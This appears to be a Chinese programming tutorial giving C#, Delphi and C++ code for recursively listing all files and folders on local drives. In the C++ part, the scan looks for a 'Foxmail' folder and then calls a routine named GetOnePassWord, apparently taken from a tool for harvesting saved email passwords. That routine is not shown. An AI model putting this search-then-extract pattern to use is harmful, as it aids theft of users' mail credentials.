public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
static List<Model> files = new List<Model>();
static List<Model> dirs = new List<Model>();
private void Form1_Load(object sender, EventArgs e)
{
string diskpath = System.Windows.Forms.Application.StartupPath.Split('\\')[0]+"\\";
ForEachDisk(diskpath);
MessageBox.Show("共遍历到:" + files.Count.ToString() + "个文件," + dirs.Count.ToString() + "个文件夹。");
}
private void ForEachDisk(string path)
{
DirectoryInfo dir = new DirectoryInfo(path);
try
{
foreach (DirectoryInfo d in dir.GetDirectories())
{
if (d.Name.Substring(0, 1) != "$" && d.Name != "System Volume Information")
{
ForEachDisk(d.FullName);
Model m = new Model();
m.name = d.Name;
m.path = d.FullName;
dirs.Add(m);
listBox1.Items.Add(d.FullName);
}
}
}
catch (Exception ex)
{
MessageBox.Show("错误提示:统计信息可能不完善。" + ex.Message);
return;
}
foreach (FileInfo f in dir.GetFiles())
{
Model m = new Model();
m.name = f.Name;
m.path = f.FullName;
files.Add(m);
listBox2.Items.Add(f.FullName);
}
}
}
public class Model
{
private string _name;
//private string _type;
private string _path;
public string name { get { return _name; } set { _name = value; } }
//public string type { get { return _type; } set { _type = value; } }
public string path { get { return _path; } set { _path = value; } }
}
这里没有用树形结构表示,而是用了列表的方式保存信息,方便日后信息的查找。
2、delphi 遍历硬盘所有文件目录
//一个遍历所有硬盘的所有目录的实例源码:
unit Unit1;
interface
uses
Windows, Messages, FileCtrl,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, ImgList, ExtCtrls;
type
TForm1 = class(TForm)
TreeView: TTreeView;
Button3: TButton;
procEDure Button3Click(Sender: TObject);
private
{ Private declarations }
public
procedure CreateDirectoryTree(RootDir, RootCaption: string);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CreateDirectoryTree(RootDir, RootCaption: string);
procedure AddSubDirToTree(RootNode: TTreeNode);
var
SearchRec: TSearchRec;
Path: string;
Found: integer;
begin
Path := PChar(RootNode.Data) + '\*.*';
Found := FindFirst(Path, faAnyFile, SearchRec);
while Found = 0 do
begin
if (SearchRec.Attr = faDirectory) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
AddSubDirToTree(TreeView.Items.AddChildObject(RootNode, SearchRec.Name,
PChar(PChar(RootNode.Data) + '\' + SearchRec.Name)));
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
begin
//TreeView.Items.Clear;
AddSubDirToTree(TreeView.Items.AddObject(nil, RootCaption, PChar(RootDir)));
end;
procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
abc:Tstrings;
s:string;
begin
abc:=TStringlist.Create;
for i:=0 to 23 do begin
s := Chr(65+i)+':\';
// if GetDriveType(PChar(s))= DRIVE_cdrom then
if directoryexists(s) then
begin
s:=copy(s,0,2) ;
abc.Add(s);
end;
end;
for i:=0 to abc.Count-1 do
BEGIN
S:=abc.strings[i];
CreateDirectoryTree(S, '['+s+'\]');
END
end;
end.
3、C++获取本地所有磁盘并遍历磁盘下所有文件、文件夹
3.1获取本地磁盘符号
[cpp] view plaincopy
void GetComputerDisk() //获取本地电脑的磁盘符号
{
OutputDebugString("GetComputerDisk");
TCHAR buf[100];
DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
TCHAR *s = buf;
UINT IsCDRom;
for (; *s; s+=_tcslen(s)+1)
{
/*LPCTSTR sDrivePath = s; */
CString strDisks = s; //单个盘符
IsCDRom=GetDriveType(strDisks);
if (IsCDRom==DRIVE_CDROM)
{
OutputDebugString("CD-ROM");
continue;
}
OutputDebugString(strDisks);
TCFindFile(strDisks);
}
}
3.2遍历每个磁盘下的所有文件、文件夹
[cpp] view plaincopy
void TCFindFile(CString FilePath)
{
OutputDebugString("TCFindFile");
CFileFind find;
CString Dir = FilePath+"*.*";
BOOL res =find.FindFile(Dir);
//OutputDebugString(Dir);
if (!res)
{
OutputDebugString("DiskScanOver!");
return;
}
while(res)
{
CString Filename;
CString tmp;
res = find.FindNextFile();
if (find.IsDirectory() && !find.IsDots()) //目录是文件夹
{
Filename = find.GetFileName();
tmp = Dir.Left(Dir.GetLength() - 3) + Filename;
if (Filename == "Foxmail")
{
//执行后续操作
OutputDebugString(tmp);
TheRightFoxmailPath = tmp;
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");
GetOnePassWord();
return;
}
tmp += "//";
TCFindFile(tmp);
}
}
}